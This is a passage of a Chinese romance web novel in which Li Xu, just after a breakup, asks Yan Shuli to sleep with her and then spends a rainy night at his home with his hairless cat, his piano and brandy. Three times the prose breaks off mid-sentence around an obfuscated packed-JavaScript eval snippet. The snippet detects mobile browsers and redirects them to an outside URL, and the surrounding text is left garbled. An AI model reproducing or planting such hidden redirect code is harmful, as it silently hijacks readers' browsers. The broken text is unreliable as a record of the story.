没了他遮风,李絮宽薄的风衣被吹得紧紧贴住身躯,细雨带风扑面,冻得她眯了眯眼睛。 燃烧的烟丝会带来炙热的幻觉,她认真吞了氤氲的一口取暖,视线漂浮,目送偶遇的人离开。 然而没走出去几步,又见那人蓦地回了头。 言漱礼穿一身低调的黑,造物者却不肯使他泯然于夜色,反以夜作画纸,用炭笔精心勾勒出层层分明的鲜活线条。 这世上怎么会有人配得一切偏爱? 李絮静静观赏,几近叹息。 雨滴打在冲锋衣上,又顺着防水面料粒粒饱满地滚落下来,言漱礼一如既往低沉冷冽的声音破开雨势。 “李絮。”认识七年,他好难得叫了一声她的名字,“需要帮忙的话,可以说。” 真是荣幸。 “譬如?”李絮抿出梨涡,试图以玩笑消解这份严肃,“借我一把伞?” 言漱礼平静以对,“如果你需要的话。” 平静之下自有汹涌。 她孑然一身回国,深夜徘徊不归,拒接陈彧来电……零碎片段,周身破绽,皆可模糊拼凑出一个不愉快的事实。 言漱礼性情冷,不代表他不敏锐。 约莫是自己今夜偏离常态的言行,看起来实在可怜,是以令旁观者都生出了一丝恻隐。李絮为对方寻找动机。毕竟他家风严谨,骨子里是有教养的绅士,跟自己再怎么不熟,也是认识的关系。 更何况夜了。 更何况撇雨。 应该识趣些说“不必”的,李絮放空似的延伸思绪,就此礼貌告别,各自轻松,没有必要将第四人扯落这滩浑水里。 可是她微微仰头,望向那双冷漠而深邃的眼睛,无可避免地,就想起了那只放在岛台上的Constance19。想起行驶在波士顿沿途,车窗外丰盈静谧的雪。又想起很久很久以前,夏日清晨无人造访的钢琴教室。 心底有什么在急促膨胀。 阴晦而不安地。 仿似一头面目模糊的活物,抽搐着,冲撞着,亟欲穿过无可容身的窄门。又似雨林里遮天蔽日孳生荆刺的藤蔓,自身挡住光,又怕再也见不到光。 言漱礼淋着雨,踩着界线,置身事外,好安静地看着她。 看她廉价的自尊心。 昂贵的嫉妒心。 一年一年,毫无长进。 于是鬼使神差地,在一股幽暗情绪的裹挟下,李絮主动直视了那双琥珀色眼睛。 “比起借伞——”她感觉风在眼球周围穿梭,需要格外努力,才能维持完美笑意,“我更想请教你一个问题。” 言漱礼不发一言,一副很难被取悦的样子,但是没有拒绝,默许了她的请求。 李絮声音很轻,腔调拖沓,懒懒散散抛出一句问,“你跟雨曼,最近还好吗?” “…什么?” 眼前俊逸的青年微微皱眉,似乎难以理解,这个名字为什么会突然出现在他们的对话里。 “恕我冒昧。” 李絮噙着笑,直接将话剖开。询问他人隐私,像询问云城翌日会不会下雨一样随意。 “Leon,你现在是单身吗。” 有新鲜的风闯入他们视线结成的网,又被雨水浇得失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042070|162575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去形状,屈从地徜徉于此间。 言漱礼下颌绷紧,眉目冷峻,明显感觉被冒犯。 李絮对这份冒犯感同身受。 他眼眶比一般亚洲人深,这样单手插袋,压低视线看过来时,侵略感与压迫感非常明显。亦如一个显而易见的上位者,一个手执权仗的审判者,不悦且不耐烦地向下睥睨。 “你想表达什么。”言漱礼漠然道,“我不认为你应该对我的感情状况感兴趣。” 他用的词是“应该”。 “只是好奇。”李絮耸了耸肩,从容回视,“是或不是,一句话而已。” 完全可以置之不理的。 抛下一句“与你无关”,像那些讥讽她的人一样。或者掉头就走,像那些无视她的人一样。李絮绝不会继续越界。 然而言漱礼攒着眉心,缄默片刻,还是容忍似的给出了答案。 “是。”他冷冷承认。 李絮笑了。 那一瞬间的感觉,就像一手烂牌的赌徒,窘迫得捉襟见肘,不甘心弃牌,更没有筹码跟注。心灰意冷bluff一把,演技拙劣,手法生疏,结果却意外诳到了手持同花顺的大鱼。 “既然你身边没人——” 她拂开轻飘飘的烟雾,听见自己厚颜无耻的声音逐字逐句迸出,经由雨水冲刷,消融在无名夜里。 “言漱礼,你要不要跟我睡一次?” 凌晨温度渐低,冷泠泠的,企图镇静人心。 雨丝将天与地缝合。整座城市都覆着一层如梦似幻的薄膜,像素失真,色彩朦胧,恍如未经拆封的旧记忆。 霓虹塔萦绕着他们旋转。 言漱礼薄唇紧抿,久久不言,将人瞧得心悸。 眼前人没骨头似的站着,浸没在波浪起伏的绿里,瓌姿艳逸,白得发光,眼尾红得像是会随时哭出来。 然而她却无论如何都不可能在他面前哭的。只会招人恼火地假笑,故作逢迎地喊“Leon”,又直白生硬地喊“言漱礼”。 很难辨别这是否一场恶作剧。 言漱礼感到怪异。被那道似笑非笑、落不到实处的眼神攀扯着,似有若无,反反复复,蛛网般黏连的虚与实,心脏陡然生出一股幽微的戾气。 “我不吃快餐。” 他嗓音低而生硬,如同反季节融化的冰,透出丝丝寒气。 “也不睡随随便便倒贴上来的人。” 近乎蔑视的比喻与形容。 令那张英俊耀眼的脸看起来有一丝残忍。 李絮不知是被风,还是被这句话,刮得轻轻瑟缩了一下。像朵被骤然吹散的蒲公英,盈盈不堪一折,几绺长发缠绕着细脖颈。 赌输了。理应感到屈辱的。但她面不改色,咬着空烧的香烟,对这个回答并不感到失望或意外。 “抱歉。”她维持住了微笑。 笑得满脸诚恳。比以往任何时候见到他都更真心。丝毫没有正常人提出性邀请被拒绝的那种尴尬或难堪,甚至抖净烟灰,落落大方地欠了欠身,“希望没有给你造成困扰。” 好像她当真于心有愧似的。 言漱礼一动不动,目光浸在暗处。 既遭了拒,就不好再碍眼。李絮谈不上惋惜地掐了烟,伸出手试探玻璃檐外撇落的雨丝,感觉一时半刻不会减弱,最终还是决定冒雨出去门口打车。或许路上还能碰见好心的保安帮忙撑一撑伞。 她挎上手袋,拎起蛋糕盒,推着行李箱步入料峭雨夜里。 离开之前,不忘抿出浅浅梨涡,伪饰又漂亮地笑,堂而皇之提出另一个请求。 “为免不必要的麻烦,可以拜托你假装今晚没见过我吗?我会非常感激的。” 言罢,毫不局促,转身即走。 花园小径蜿蜒,亦不平整,积出一滩滩柔软水洼。行李箱滚轮沿着直线,滑出坎坷声响。 她蹭着树荫遮挡,走出玻璃花房照亮的光圈,短短几步,已觉自己睫毛沉甸甸,快被雨雾沾湿了。 霓虹塔矗立在纸醉金迷的城市中心,分分秒秒昂贵旋转。 即将零点。 即将又是崭新美好的新一天。 塔身色块有序变化,依照惯例缓缓旋转拼出GOODNIGHT字样,即将为这座充满荣光与财富的城市熄灯。 李絮睁着水涔涔的眼睫向上望,准备目睹夜空从光鲜亮丽变回废墟。 下一秒,视野却瞬息收窄。 一件浸透松木焚香的冲锋衣,突如其来从头顶覆落。轻飘飘的。犹如夤夜底下另一片夜,为她隔绝了真实的寒与细雨。 腕骨生出痛意。 李絮怔怔回望。 “你就这种态度求人?” 言漱礼的面庞在黑暗中变得晦暗难明,声线冷冷地沉下去。 那只刚刚与她短暂触碰又分开的手,极具力量感地收紧,以抚摸火焰的决心,再度攥住了自己。 4. 04 04 高速电梯上升。 轿厢宽敞明净,锃亮镜面倒映一双男女身影。 言漱礼身上只一件纯白短tee,面料被雨水隐约洇湿,撑出明显的肌肉线条。劲瘦有力的小臂青筋微微凸起,一手扶稳行李箱,另一手不动声色握住身边人。 李絮将兜帽往下拽了拽,露出一双若有所思的水亮眸子。 男款冲锋衣对她而言过分宽大,一路裹得严实,亦步亦趋被牵着走,并未淋到多少风雨。 挨得好近。 言漱礼稍稍松开钳制的重量,以一种随时可以被挣脱的力度攥着她,像不经意揉皱一张纸,又试图以手心的温度熨平。 李絮偏着头,听之任之,目光反方向游离。 四十余秒后,电梯缓停。 李絮回正视线,与他在镜中短暂撞了一下。没来得及躲,或望入对方眼底,双开门就已徐徐拉开。 与陈彧家强调科技感与几何线条的装修取向迥然不同。言漱礼家的入户步道,赫然陈列一面将近四米高的巨型livingwall。 由多肉、蕨类、藤本组成的植物墙,混合不同深浅、纹理及体积的绿,居中以蓝鸢尾浓墨重彩勾勒出一个斯宾塞体的L,意蕴此处所有者的标识。野兽派油画般流淌的色彩,浓烈馥郁,视觉极其惊艳。 确认指纹,推开厚重的双开门,智能家居自动亮灯,入目即见一处室内花园。 砂石步道两侧,挤满佛罗里达蔓生植物与巨型仙人掌,仔细辨认,间隙不乏棕榈、球兰、以及厚敦菊等块根植物点缀。 空气中弥漫葱翠绿意。仿佛被细雨打湿的、长满橡木苔的深山林地,轻轻迸发出苦涩而沁凉的气味。 转过这处下沉空间,拾级而上,即是前厅。 整屋铺设柚木地板,大量运用做旧石块、铸铁、圆弧等元素,以及燕麦白、陶土、黄铜等色彩。全玻璃幕墙最大限度开阔视野,配以上下打通的夸张层高与瑰丽的星空吊顶,令人足以饱览整片蒙于霡霂的钢铁森林。 李絮很有些意外。 刻板印象使然,她原以为言漱礼的常居住所会与他个人气质如出一辙,偏向更现代、更务实、更有棱角的风格。 实际却非如此。 不知该归功于设计师的不俗审美,还是雇主的钞能力。整个空间明朗舒适,拥有丰沛的光线与植物参与,处处昂贵却不失人情味,更近似一种在图卢姆度假的热带雨林风格。 言漱礼将行李箱随意搁在一旁,松开李絮的手,一句话没说,转身往深处的拱形廊走。 李絮慢吞吞环顾四周,将披在身上的冲锋衣脱掉,与蛋糕盒一起放在岛台上。 过了两三分钟,言漱礼换了件tee出来,手里拿着毛巾和一双家居拖鞋。 “只有这个码数。将就一下。” 他弓身将鞋放在她面前。 柔软干燥的毛巾盖在头上,李絮随意擦了擦,解开风衣,单穿一件雾蓝色的丝绒吊带裙,低头换上那双小船似的男士拖鞋。 完全不合适,像走一步就会跌跤。 她小心翼翼地站直,轻声说了“谢谢”。 言漱礼似乎也没料到会大出这么多,沉吟片刻,怕她摔,还是默默伸手将她扶了出来。 “就这样吧。”李絮客随主便,不想给他添麻烦,“有地暖,不冷。” 言漱礼没作声。 “咪呜——” 恰在此时,一声清亮的猫叫打破沉滞氛围,从阴影处敏捷地钻出一团影。 斯芬克斯猫挨在主人脚边,伸直前肢推了一下地板,姿态舒展,懒洋洋地打了个哈欠。 没有毛发,皱巴巴一团肉粉色,丑萌丑萌的,很难违心评价为漂亮,像极了哈利波特电影里的用了美颜滤镜的Dobby。 “还是养在波士顿的那只?”李絮问。 言漱礼“嗯”了一声。 他们有过一面之缘,李絮还记得它。 斯芬克斯猫温顺黏人,攻击性几乎为零,见了李絮这个陌生人也不怕,还好奇地主动打量,没什么戒备心地绕着她嗅嗅蹭蹭。 李絮谨慎地后退了半步。 斯芬克斯毫无眼色地黏了半步。 “小猫咪。”李絮心脏软软,蹲下来方便它观察自己,隔着些许距离问,“你叫什么呀。” 无毛猫软乎乎地“咪——”了一声,拿湿润的鼻尖拱了拱她指尖,好似好有礼貌地在回答问题。 “Sphynx.”它的主人替它翻译。 直接用品种作名,李絮翘了翘唇角,“好偷懒的名字。” 言漱礼不以为然,“这里只它一个Sphynx。” “可以摸一下吗。” “随意。” 迟疑了好几秒,才真正伸手触摸。 诡异的手感。昂贵的独一无二。摸起来像小山羊皮。温暖、无害、鲜活覆盖血肉的生命力。 “好神奇。”李絮用食指捻了一下它并不明显的胡须,喃喃感慨,“这是我摸过的第二只小猫咪。” 言漱礼注视着她,“身边没人养猫?” “有。但无毛猫还是头一回见。”李絮有些不好意思地抿出浅浅梨涡,“其他小猫咪脾气也很傲,不会像Sphynx对我这么热情,我不太敢乱摸。” “怕?” “也不是。大概是习惯。” 言漱礼没有寻根问底,像是不太感兴趣,又像已经穷尽对话的耐心,静静站在旁边看她和Sphynx小心翼翼地接触。 他们之间的话习惯性摔在地上。刚刚在湖边,李絮还庆幸于他们无话可讲,然而此刻又主动将话捡了起来,拍拍灰尘,自顾自延伸下去。 或许是因为夜晚太过静谧,而他的房子像一座可以容纳秘密的森林。 “刚上初中的时候,我在街上捡过一只流浪猫,是只鸳鸯眼的小白。好瘦,好小,还断了半条尾巴。当时先斩后奏把它抱回家,做好了挨骂的准备,也下了刻苦练琴的决心,想要以此征求妈妈的同意,让我养那只小猫咪。” 李絮很轻很慢地措辞,脸上没有什么表情,无动于衷得像在陈述别人的记忆。 “结果带它回家那晚,我就浑身起了疹子,嘴巴酥酥麻麻的,半张脸都肿了。我妈妈说是因为我对猫毛过敏,骂我不该随随便便把自己照顾不好的小动物带回去,她也根本一点都不喜欢猫。理由好充分,顺理成章就将那只小白丢了出去。” “后来——”她歪了歪脑袋,和Sphynx对视着,似乎在思考应该如何表述。 未及开口,就被打断。 言漱礼微微攒眉,抱开正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042071|162575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撒娇的Sphynx,弓身将她从地上捞了起来。 岛台的无边水池镶嵌磨砂龙头,温水流淌,感应器挤出清洁泡沫,盈盈落于掌中。 “人对猫过敏,不是因为猫毛,而是猫腺体分泌的Feld1蛋白质。斯芬克斯不算低敏品种,你直接接触,很可能激发过敏症状。” 言漱礼一丝不苟,解释得认真,语气亦平常,听不出责备她无知的意味。 李絮难得乖巧地站着。 像很小很小的小时候,在哪里滚了一身泥巴草屑,回了家一边挨训,一边任由家长搓洗自己脏兮兮的手。 被自己的联想弄得有点好笑,她抿了抿唇,不紧不慢地,将刚才未讲完的话续上了。 “后来,我一个人去意大利读书。有一天生病,急性荨麻疹发作,自己去医院测过敏原,才发现我根本并没有对猫毛过敏。” 简直疑心她是故意的。 言漱礼的动作倏尔顿住,眼底掠过一丝生硬。 不知道为什么,李絮很怕他会即刻甩开自己。 幸好他没有。 “那天突然起疹子,是因为我生日。”她低头注视彼此交叠在一处的手,轻轻勾住他一根尾指,语气怀念又厌倦,“妈妈给我买的蛋糕里面有芒果。而我一口气吃掉了半个。” 言漱礼没有与她对视,那双冲浸在水中的手仍紧密地握着。在短暂的沉默过后,他恢复如常,浸在流水里,帮她仔细冲净了泡沫。 “芒果在云城是很常用的食材。不至于到初中才发现。” “因为我很讨厌啊。”李絮孩子气地皱了皱鼻子,“又黏又刺嘴唇。每次假装吃了,都要偷偷吐掉。每次硬着头皮去买,都会发生糟糕的事情。” “讨厌为什么还要吃。” “挑食会被训。” 日常闲聊并不适合发生在他们身上。 言漱礼大概也很难理解普通家庭这种细枝末节的规训,看了一眼旁边的蛋糕盒,没有再问。 “抱歉。”李絮笑了一下,“我是不是废话太多了。” 答案是肯定的。 通篇琐碎、无聊且没有重点,腔调又心不在焉,听得人隐隐恼火,像工作简报做得一塌糊涂的新手职员。 但言漱礼没有出言责备,只静静注视她,半晌,用手指碰了碰她眼尾。 他的手是湿的,像化雨的云,弄湿了她的腮颊,突然落下一句无关紧要的话。 “——没有风。眼睛还是很红。” 李絮不是娇小的体型,但言漱礼比她高出太多,只略略俯身,就足以将她整个人都密不透风地揽入怀里。 一个将吻未吻的姿势。 从那双幽邃的琥珀色眼睛中,李絮看见了自己无所适从的一张脸,也捕捉到了对方似有若无的潮湿情绪。 玻璃幕墙外,白噪音越发厚重,迷蒙的灰白将整座发光的建筑茧裹起来。 雨下大了。 李絮没有忘记自己为什么会跟他回家。 她极力吞咽漫溢上喉咙的恐惧与焦躁,不自觉抓皱他腰侧的面料,湿漉漉的一双手,将他干燥的T恤又重新洇湿了。 “言漱礼。” 她听见自己的声音单薄,漂泊无定地伏在颓云駃雨的夜。 “我有点紧张,我能不能喝杯白兰地?” 5. 05 05 暴雨如注。 李絮坐在一架施坦威三角钢琴前。 象牙白饰面结合欧洲枫木,限量定制的配色,令这只静卧的庞然大物更显优雅矜贵。 刚刚借用浴室洗过一个热水澡,李絮身上寒气被驱散,冷棕长发微湿,发尾沁凉地扫过手臂。 Sphynx自来熟地趴在谱架上,一边用那双湛蓝眼珠观察她,一边懒洋洋地舔爪子。 大约四十分钟之前,为了拖延事情的发生,李絮揪着它主人的衣摆,鬼使神差地提出想要一杯白兰地。 犹如某种拙劣的把戏。 谈不上拒绝,又不似欲拒还迎。 言漱礼沉默片刻,没有戳穿,只轻描淡写说了句“我戒酒了”。随后略一思忖,捡起她搭在岛台上的冲锋衣,转身出了门。 偌大屋室,惟余一人一猫,面面相觑。 空等几分钟,确认他真的就这么走了,且短时间内没有返回的迹象。 李絮蹲下身来,轻轻碰了碰Sphynx湿润的鼻子,茫茫然又亲昵地,“他干嘛,就这么留我一个人在你们家,不怕我做坏事?” Sphynx大概早已习惯居住于此地的人类古怪作风,蹭着陌生人的柔软手心,舒服地发出“咕噜咕噜”的煲水声。 “你说。”隐隐约约猜到原因,却不敢笃定,李絮虚心向小猫咪请教意见,“一句话都没有,究竟是不想让我走?还是后悔摊上了麻烦,在体面地给我机会,让我识趣些自己走?” 小猫咪不理解人类弯弯绕绕的心思,佗佻眯着眼,自得其乐地追着她的手指玩。 李絮忍俊不禁。 远眺一眼窗外霓虹失焦的夜,想了又想,还是作罢。 “不管了。”她摊开手,让Sphynx将脑袋钻进来,好声好气同它打商量,“雨下这么大,避一避不为过吧。” 原本尚存些许边界感,不想贸贸然闯入主卧。结果花时间走了一圈,才发现这房子有健身区、有影音室、有猫咪玩具房、有恒温泳池,应有尽有,就是没有客卧和客浴。 从装修伊始,就完完全全没有接待他人的打算。 主卧卫生间是半开放布局,双卫双浴双岛台设计,空间极阔,但物件极简,不见第二人存在过的痕迹。 李絮潦草冲了个澡,湿涔涔走出来,身上裹着淡淡的皂感焚香。 嗅了嗅手腕,她暗忖,原来他的香水和沐浴油是同一个气味。 Sphynx很乖地蹲坐在门口等待,昂首挺胸,像一只长着ET脸的小骑士。 一见她出来,即刻长长“喵——”一声,尾巴柔软地拍了几下空气。 有个臆测成分很重的观点:认为猫咪天性怕水,对水声尤为敏感,守在浴室门口是怕人类溺死在里面。 之前读到还嗤之以鼻,实际面临,又格外愿意相信这种充满主观浪漫色彩的说法。 Sphynx尽到可有可无的职责,收到人类软意绵绵一顿撸,昂着下巴,翘着光秃秃的尾巴,一脸骄傲地在前面引路。 可惜方向走反了,误将她带到了言漱礼的琴房来。 琴房与书房是连通的设计,蔚为壮观的巨型书墙下,由柚木与原石砌高一处不规则的梯台,居中静卧一架象牙白三角钢琴。 灯光淡弱。 这只庞大而优雅的怪物,兀自在夜里熠熠发光。 李絮站在过道,没有移开视线,感到头晕目眩,眼前一片闪耀。 大约八岁左右,她正式开始接触钢琴。 因为潘盈盈的女儿钢琴学得好,聪明伶俐,小小年纪就登台拿奖,很得李兆霖宠爱。罗跃青听说了,就也逼着李絮去学,想要以此攀比,以此讨好。 可是李絮好讨厌钢琴。 越深入学,就越讨厌。 艺术是一道窄门。她根本没有所谓的音乐天赋,又错过了最理想的启蒙年龄,需要额外花费好几倍力气,才能勉勉强强跟上进度,显得不那么笨拙。 她将所有的课余时间都倾注到了练琴这件事上。然而距离达到罗跃青的期望,得到李兆霖的赞赏,还有好远好远的一段路。 她总是做不到令人满意。 那时候常常躲在被窝里掉眼泪。难以接受努力却没有回报。难以接受自己的平庸。更难接受妈妈对自己的爱,是有条件的爱。 为什么自己不是那种游刃有余的天才呢? 为什么自己无法像老师教导的那样,理解巴赫的线条与逻辑,共鸣贝多芬的激越与悲怆,从李斯特的炫技与抒情之中得到乐趣,在莫扎特的灵动与明亮中得到慰藉? 为什么自己只是一个普普通通、不讨人喜欢的笨小孩? 有一次暑假实在想出去玩,不肯练琴,和罗跃青大吵了一架。罗跃青因为李兆霖那天没来看她,白白装扮了一番,伤心又怨怼,直接就进了房间,没有再理她。她哭着踩制音踏板练了一个多小时的C大调小奏鸣曲,然后跑进房间和妈妈认错,流着眼泪说“我练琴了”。 记忆中与钢琴有关的,好像都是这种委屈而不甘的片段。 除了高一那年的音乐选修课。 期末考试抽签,她抽到和言漱礼一起合作表演,四手联弹巴赫的GottesZeitistdieallerbesteZeit,一首为葬礼而作的康塔塔。 当时他们在皮亚佐拉的Libertango和这支小奏鸣曲之间做选择,没有过多犹豫就选定了这首。理由很简单。因为它只有20个小节,技巧浅易,对称简洁,不需要堆砌大量时间去练习。 每逢周三、周五的夏日清晨,他们都会默契地出现在无人的钢琴教室。坐在同一张琴凳上,读着同一本曲谱,无言地练习一二声部的协作。 “曲谱速度标的MoltoAdagio,弹这么快,我们很赶时间吗。” 这是互相交换姓名以后,两人第一次排练,言漱礼听完她演奏,对她说的第一句话。 悬铃木底下,冷淡而倨傲的一张脸。 李絮记到现在。 如今时过境迁,曲谱早已记不确切了,惟有他讲这句话时的神态还记得清晰。 然而长期训练会遗留副作用,被音符刻在身体的本能隐约还在。李絮没打开施坦威的SPIRIO自动演奏系统,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042072|162575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑海中静静回溯,拼凑记忆,慢慢慢慢在琴键上敲出了音符黏连的一个小节。 好久没弹琴。 手腕僵硬,有几处错音,歪得李絮自己都笑了。调子也立不稳,轻飘飘浮在空中,虚得不像话。 因为她控制不好速度,所以当年负责的是高声部,由言漱礼首先引领节奏,她再缓速切入进来。她的部分将近全程都是两手交叉的交错演奏,前一音慢起键,后一音慢落键,轻缓地提腕、压落。这么磕磕绊绊地回忆,好像也勉勉强强将整支旋律弹了下来。 “喵呜!” 临近收尾,乐章陡然被Sphynx打断。小猫咪警觉地抖了抖耳朵,翘起尾巴,踩着琴键从谱架上跳了下来。 琴声戛然而止,李絮惊了惊,视线下意识跟着它走。 转过去才发现,门边倚着一抹高大身影。逆着光,看不清面容,目光一瞬不瞬,不知倚在那看了多久。 沉默柔软地流淌。 李絮抿了抿唇,今夜不知第多少次说出这个词,“抱歉,私自碰了你的琴。” 顿了顿,又补充,“还借用了你的浴室。” 言漱礼没有在意她的无礼。或者说,他之所以会将她带回家,就是因为这份无礼导致的结果。 他慢慢走近,被身躯遮挡的灯光,复又海水一般静静渗入琴房。 “MoltoAdagio弹这么快,很赶时间吗。” 他语气平淡,评价天气般随口评价她的琴技,弓身将一双崭新的女士拖鞋放在地上。杏仁奶白,和他脚上的暴雨锋灰,同款不同色。 同一句话,难讲是不是巧合。 李絮心里浮起一种微妙的感觉,哑然片刻,轻声笑了笑,“忘谱了。” 她无比从容地坐在琴凳上,微微仰头望他。那张面庞被夜色镀上了一层异常清丽的美感,薄胎薄釉,莹润白皙,兀自发着光一般。令人不自觉想试探究竟是何质感,是否真实存在。 言漱礼伸手捻了一下她散落的发尾,捻得手心一片湿凉。 “没找到风筒?”他问。 李絮懒散摇头,“不管它它也会干的。” 昏暗灯光下,言漱礼琥珀色的眼瞳一片沉静,他松开触碰她的手,突然说,“行李箱不在门口,以为你走了。” “你这是后悔了,想我走的意思吗。”李絮挑眉瞧他,嘴角轻轻翘起,眼底有光晕流转,不知是认真还是戏谑,“我怕我听不懂暗示。” 她的长发鸦青浓密,随意披落着。肩上挂一条薄薄丝裙,脖颈修长,背薄薄一片,皮肉玉一般昳丽清曜,看起来像拨开层层海浪来到人世间的美人鱼,湿涔涔坐在月下礁石的海妖塞壬。 他俯首,她仰视,这样的距离,好似彼此都被独一无二地盛入眼中。 言漱礼盯着她微颤的浓密睫毛看了半晌,没有立即表态,也没有将这对视维持下去。 他别开视线,右手覆在琴键上,不疾不徐敲出几个音。 轻缓地。 肃静地。 将她缺漏的曲谱一点一点弹完整了,而后才很慢地开口: “给你带了白兰地。” 6. 06 06 夜很深了。 室内光被系统默认设定自动调暗,主灯熄灭,只余围绕整屋上墙角线的LED灯带彻夜运作。 言漱礼打开餐厨岛台上方的三盏不规则挂灯。 柑橘迸裂,暖光撒了满地。 “喜欢哪支?” 冲锋衣又被随手搭在台面,旁边放着一个厚实的牛皮纸袋,言漱礼从中拿出两支酒。 一支路易十三,一支轩尼诗李察。 李絮挑了口感更柔顺的轩尼诗。 厨房收纳空间很多,言漱礼说的戒酒大概有其真实性,转了一圈连酒杯都没找到。 毕竟是在别人家,李絮不好插手帮忙,静静坐在吧台椅上等。 台面空纸袋突然歪倒,发出一阵很轻的窸窣声,李絮探身过去扶正。 不经意看见底下还放着两个塑封的盒子,拿起来一看,分别是69mm和72mm的MYSIZE,十枚装。 李絮心脏猛地跳突一拍,头皮发麻,四肢生冷,慌忙丢回去推得远远的,装作没看见过。 “纯饮,还是加冰球?”言漱礼过了会儿才从转角出来,在她面前放了个江户切子的矮脚白兰地杯,“你胃里有东西吗。” “…吃了很难吃的飞机餐。”李絮面色复杂,不自在地侧开视线,没敢直视他。心想反正他拿这种价位的干邑给自己喝也不心疼,那自己顺势糟蹋一下,调成鸡尾酒也没差,“家里有没有柠檬?” “做Nikolaschka?”言漱礼攒了攒眉,居然没有嫌弃或不耐烦,给她指了个位置,“自己翻冰箱,我给你换个shot杯。” 外面那个双开门冰箱储藏的都是果蔬饮品,内容丰富,井井有条,应是定期有佣人负责采买整理。 假若是平时,李絮会考虑切个生火腿啤梨垫垫胃,但眼下她只想意识快些被酒精支配。 Nikolaschka是一种野蛮的喝法。 不兑水,将白兰地斟满30mlshot杯,杯沿摆放一片新鲜柠檬,再在柠檬片上堆适量砂糖。 在饮酒之前,将柠檬片对折,与砂糖一起放进口中咀嚼,待激发味蕾的酸与甜在口腔中相对温和,再将辛辣醇厚的白兰地一饮而尽。 瞬间直击头颅的尖锐与暴烈,宛若四肢百骸涌过一场凶猛海啸。 比一口一口慢呷的纯饮更快速、更刺激。 李絮放下空杯,微微眯着眼,伸手去够酒瓶,准备自斟第二杯。 “你喝太急了。”被言漱礼轻而易举抽走,不赞成地制止,“我不想半夜送人去医院。” “我酒量很好的。”李絮笑了笑,没有表现得像一个死缠烂打的酒鬼,反而好奇道,“你真的戒酒了?” 闲置一旁的矮脚杯派上用场,言漱礼往里面加了枚冰球稀释浓度,浇上少量琥珀色烈酒,不咸不淡“嗯”了声。 “为什么?”李絮问。 “没有为什么。”言漱礼说,“酒精影响大脑反应。” 好符合他个性的回答。 “那你要不要吃块蛋糕?”李絮慢啜一口酒,凑巧瞥见自己拎上来的纸袋,突发奇想般提议,“免得浪费。而且甜食可以促进多巴胺分泌,会让你心情好。” “不需要。”言漱礼神情冷淡地喝一瓶气泡水,敬谢不敏,“我心情没有不好。” 最后还是冷眼看她拆开了包装。 线条规整的六寸圆,饼底酥脆,糕体轻盈,配色甜美。顶部以鲜果与糖霜装饰,并以巧克力华丽裱花—— [Thebestisyette.] 网红店最喜欢搞的无用小心思。免费赠与消费者的浪漫鸡汤。套在任何人身上都适用的烂俗祝福语。 两个人皆站在岛台边,一高一低,肩膀挨着手臂。 言漱礼的关注点和她不一样,眉梢一挑,视线落在蛋糕上的装饰,“芒果?” “嗯。”李絮忙于继续翻找纸袋,学他腔调肯定,“芒果。” 找到了。 塑料盒里,长杆火柴被用尽,但樱桃梗蜡烛还剩余许多。 孤零零一支被插在蛋糕圆心,毁掉了饱含美好祝愿的[best]。 自己真的很会制造麻烦,李絮有这个自知之明。但除了一开始那句“不吃快餐”泄露了些许冰冷愠意,此后不论言行如何拖延,言漱礼都一直表现得格外容忍,没有再被激怒过。 没等她开口,他就默不作声从裤袋摸出一枚都彭,叮——,品牌标志性的开合声,双火焰亮起。 简约的黑白钢琴烤漆。很衬他。 李絮意外抬眼,“你打火机带在身上啊?” 言漱礼沉默了几秒,垂眼点燃烛芯,“刚刚在车上拿的。” “你在车上抽烟?” “不抽。只是放在那里。” “酒精影响健康,尼古丁就不影响了么。” “频率低。对比起来,还算可以接受。” 她无聊问题好多,然而言漱礼一句接一句,居然毫不敷衍地都回答了。 “火快灭了。”他冷酷地及时提醒,将话题从自己身上引开,又忍不住问起这支莫名其妙被点燃的蜡烛,“谁生日。” “没有谁生日。”李絮耸了耸肩,“但有值得庆祝的事。” 言漱礼目光微凝,声音没什么温度,“譬如。” 他们对视着。 李絮撩起眼皮瞧他,睫毛轻轻晃动,在眼下投射虚虚实实的微弱阴影,令人分不清其中掺杂几分真心假意。 低头轻飘飘吹灭蜡烛,她用餐叉挖了一小块带芒果的蛋糕,抬手喂到他唇边。 “譬如——”她稍稍拖长了尾调,脸上表情浅淡,惟有一对漆亮黑瞳仿若蕴藉夜野山雾,“祝我分手快乐?” 拥抱不知是如何开始的。 李絮被单手捞到岛台上,素净着脸,嘴唇水亮,沾湿了充满花香气的白兰地,看起来嫣红柔软,却又格格不入衔住一枚冶艳唇环。 